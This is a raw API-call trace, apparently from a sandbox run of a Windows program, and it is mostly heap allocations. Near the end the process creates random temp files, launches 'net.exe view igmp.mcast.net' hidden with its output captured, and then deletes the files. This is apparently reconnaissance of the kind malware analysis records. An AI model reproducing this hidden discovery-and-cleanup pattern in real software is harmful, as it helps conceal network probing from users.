(HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f3730 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2f8 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f3778 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3e8 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f37c0 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed4d8 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f3808 [0059.171] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed518 [0059.171] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f3850 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f98d0) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed388) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9960) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed398) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f99f0) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed258) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9ba0) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed358) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9be8) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3b8) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9c30) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3c8) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9c78) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3d8) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed468) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9e28) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed4c8) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f99a8) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed4b8) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9ac8) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3f8) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b10) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed378) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebc08) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed328) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9840) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed318) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9a38) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed578) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b58) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3a8) returned 1 [0059.171] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed648) returned 1 [0059.171] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x30) returned 0x21ebc08 [0059.171] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3a8 [0059.171] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b58 [0059.172] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed578 [0059.172] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9a38 [0059.172] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed318 [0059.172] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9840 [0059.172] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed328 [0059.172] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0059.172] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed378 [0059.172] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b10 [0059.172] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3f8 [0059.172] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9ac8 [0059.172] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed4b8 [0059.172] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f99a8 [0059.172] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed4c8 [0059.172] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9e28 [0059.172] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed468 [0059.172] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0059.172] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3d8 [0059.172] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c78 [0059.172] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3c8 [0059.172] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c30 [0059.172] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3b8 [0059.172] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9be8 [0059.172] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9a80) returned 1 [0059.172] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed368) returned 1 [0059.172] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9cc0) returned 1 [0059.172] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed278) returned 1 [0059.172] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9de0) returned 1 [0059.172] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed478) returned 1 [0059.172] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f3610) returned 1 [0059.172] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed488) returned 1 [0059.172] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f3658) returned 1 [0059.172] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed5a8) returned 1 [0059.172] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f36a0) returned 1 [0059.172] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed598) returned 1 [0059.172] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f36e8) returned 1 [0059.172] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed348) returned 1 [0059.172] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f3730) returned 1 [0059.172] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed308) returned 1 [0059.172] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f3778) returned 1 [0059.173] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed2f8) returned 1 [0059.173] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f37c0) returned 1 [0059.173] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3e8) returned 1 [0059.173] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f3808) returned 1 [0059.173] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed4d8) returned 1 [0059.173] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f3850) returned 1 [0059.173] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed518) returned 1 [0059.173] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21edd90) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9de0 [0059.173] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9de0) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9de0 [0059.173] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9de0) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9de0 [0059.173] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9de0) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9de0 [0059.173] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9de0) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9de0 [0059.173] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9de0) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9de0 [0059.173] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9de0) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9de0 [0059.173] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9de0) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9de0 [0059.173] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9de0) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9de0 [0059.173] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9de0) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9de0 [0059.173] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9de0) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9de0 [0059.173] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9de0) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9de0 [0059.173] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9de0) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9de0 [0059.173] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f9de0, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0059.173] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0059.173] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f9de0, cbMultiByte=14, lpWideCharStr=0x21eeb70, cchWideChar=14 | out: lpWideCharStr="igmp.mcast.net") returned 14 [0059.173] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eebf8 [0059.173] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0059.173] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0059.174] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eec80 [0059.174] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eed08 [0059.174] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eed08) returned 1 [0059.174] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eed08 [0059.174] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f2f60 [0059.174] CryptAcquireContextW (in: phProv=0x18f8cc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8cc*=0x606610) returned 1 [0059.175] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f8e0 | out: pbBuffer=0x18f8e0) returned 1 [0059.175] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0059.175] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eed90 [0059.175] CryptAcquireContextW (in: phProv=0x18f8c8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8c8*=0x606610) returned 1 [0059.176] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f8dc | out: pbBuffer=0x18f8dc) returned 1 [0059.176] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0059.176] CryptAcquireContextW (in: phProv=0x18f8c8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8c8*=0x606610) returned 1 [0059.176] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f8dc | out: pbBuffer=0x18f8dc) returned 1 [0059.176] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0059.176] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="m", uUnique=0x0, lpTempFileName=0x21f2f60 | out: lpTempFileName="C:\\Windows\\TEMP\\mE6A2.tmp" (normalized: "c:\\windows\\temp\\me6a2.tmp")) returned 0xe6a2 [0059.177] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eed90) returned 1 [0059.177] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f45f8 [0059.177] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\mE6A2.tmp", lpszShortPath=0x21f45f8, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\mE6A2.tmp") returned 0x19 [0059.177] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2f60) returned 1 [0059.177] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eed08) returned 1 [0059.177] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eed08 [0059.177] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f2f60 [0059.177] CryptAcquireContextW (in: phProv=0x18f8cc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8cc*=0x606610) returned 1 [0059.178] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f8e0 | out: pbBuffer=0x18f8e0) returned 1 [0059.178] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0059.178] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eed90 [0059.178] CryptAcquireContextW (in: phProv=0x18f8c8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8c8*=0x606610) returned 1 [0059.179] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f8dc | out: pbBuffer=0x18f8dc) returned 1 [0059.179] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0059.179] CryptAcquireContextW (in: phProv=0x18f8c8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8c8*=0x606610) returned 1 [0059.180] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f8dc | out: pbBuffer=0x18f8dc) returned 1 [0059.180] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0059.180] CryptAcquireContextW (in: phProv=0x18f8c8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8c8*=0x606610) returned 1 [0059.181] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f8dc | out: pbBuffer=0x18f8dc) returned 1 [0059.181] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0059.181] CryptAcquireContextW (in: phProv=0x18f8c8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8c8*=0x606610) returned 1 [0059.181] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f8dc | out: pbBuffer=0x18f8dc) returned 1 [0059.181] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0059.181] CryptAcquireContextW (in: phProv=0x18f8c8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8c8*=0x606610) returned 1 [0059.182] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f8dc | out: pbBuffer=0x18f8dc) returned 1 [0059.182] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0059.182] CryptAcquireContextW (in: phProv=0x18f8c8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8c8*=0x606610) returned 1 [0059.183] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f8dc | out: pbBuffer=0x18f8dc) returned 1 [0059.183] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0059.183] CryptAcquireContextW (in: phProv=0x18f8c8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8c8*=0x606610) returned 1 [0059.184] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f8dc | out: pbBuffer=0x18f8dc) returned 1 [0059.184] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0059.184] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="0At", uUnique=0x0, lpTempFileName=0x21f2f60 | out: lpTempFileName="C:\\Windows\\TEMP\\0AtE6B3.tmp" (normalized: "c:\\windows\\temp\\0ate6b3.tmp")) returned 0xe6b3 [0059.185] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eed90) returned 1 [0059.185] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f4a00 [0059.185] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\0AtE6B3.tmp", lpszShortPath=0x21f4a00, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\0AtE6B3.tmp") returned 0x1b [0059.185] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2f60) returned 1 [0059.185] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eed08) returned 1 [0059.185] CreateFileW (lpFileName="C:\\Windows\\TEMP\\mE6A2.tmp" (normalized: "c:\\windows\\temp\\me6a2.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f97c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x158 [0059.185] CreateFileW (lpFileName="C:\\Windows\\TEMP\\0AtE6B3.tmp" (normalized: "c:\\windows\\temp\\0ate6b3.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f97c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0059.185] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\\\net.exe", lpCommandLine="C:\\Windows\\system32\\\\net.exe view igmp.mcast.net", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18f9bc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x158, hStdError=0x15c), lpProcessInformation=0x18f988 | out: lpCommandLine="C:\\Windows\\system32\\\\net.exe view igmp.mcast.net", lpProcessInformation=0x18f988*(hProcess=0x164, hThread=0x160, dwProcessId=0xbe8, dwThreadId=0x83c)) returned 1 [0059.260] NtClose (Handle=0x160) returned 0x0 [0059.260] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0xea60) returned 0x0 [0077.609] NtClose (Handle=0x158) returned 0x0 [0077.609] NtClose (Handle=0x15c) returned 0x0 [0077.610] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eed08 [0077.610] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\mE6A2.tmp" (normalized: "c:\\windows\\temp\\me6a2.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f8d4 | out: lpFileInformation=0x18f8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b11f70, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x42b11f70, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x42b11f70, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.610] CreateFileW (lpFileName="C:\\Windows\\TEMP\\mE6A2.tmp" (normalized: "c:\\windows\\temp\\me6a2.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0077.611] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x18f918, lpLastWriteTime=0x18f918) returned 0 [0077.611] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x18f904 | out: lpFileSizeHigh=0x18f904*=0x0) returned 0x0 [0077.611] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f910*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f910*=0) returned 0x0 [0077.611] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9cc0 [0077.611] ReadFile (in: hFile=0x15c, lpBuffer=0x21f9cc0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x18f944, lpOverlapped=0x0 | out: lpBuffer=0x21f9cc0*, lpNumberOfBytesRead=0x18f944*=0x0, lpOverlapped=0x0) returned 1 [0077.611] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9a80 [0077.611] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9cc0) returned 1 [0077.611] NtClose (Handle=0x15c) returned 0x0 [0077.611] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\mE6A2.tmp" (normalized: "c:\\windows\\temp\\me6a2.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f914 | out: lpFileInformation=0x18f914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b11f70, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x42b11f70, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x42b11f70, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.611] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\mE6A2.tmp", dwFileAttributes=0x80) returned 1 [0077.612] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\mE6A2.tmp" (normalized: "c:\\windows\\temp\\me6a2.tmp")) returned 1 [0077.612] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\0AtE6B3.tmp" (normalized: "c:\\windows\\temp\\0ate6b3.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f914 | out: lpFileInformation=0x18f914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b380d0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x42b380d0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x4da07070, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x44)) returned 1 [0077.612] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\0AtE6B3.tmp", dwFileAttributes=0x80) returned 1 [0077.612] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\0AtE6B3.tmp" (normalized: "c:\\windows\\temp\\0ate6b3.tmp")) returned 1 [0077.613] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9cc0 [0077.613] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9a80) returned 1 [0077.614] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eed08) returned 1 [0077.614] NtClose (Handle=0x164) returned 0x0 [0077.614] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f4a00) returned 1 [0077.614] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f45f8) returned 1 [0077.614] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eec80) returned 1 [0077.614] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0077.615] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9a80 [0077.615] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed648 [0077.615] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed518 [0077.615] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9ba0 [0077.615] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f99f0 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f99f0) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9ba0) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed518) returned 1 [0077.615] 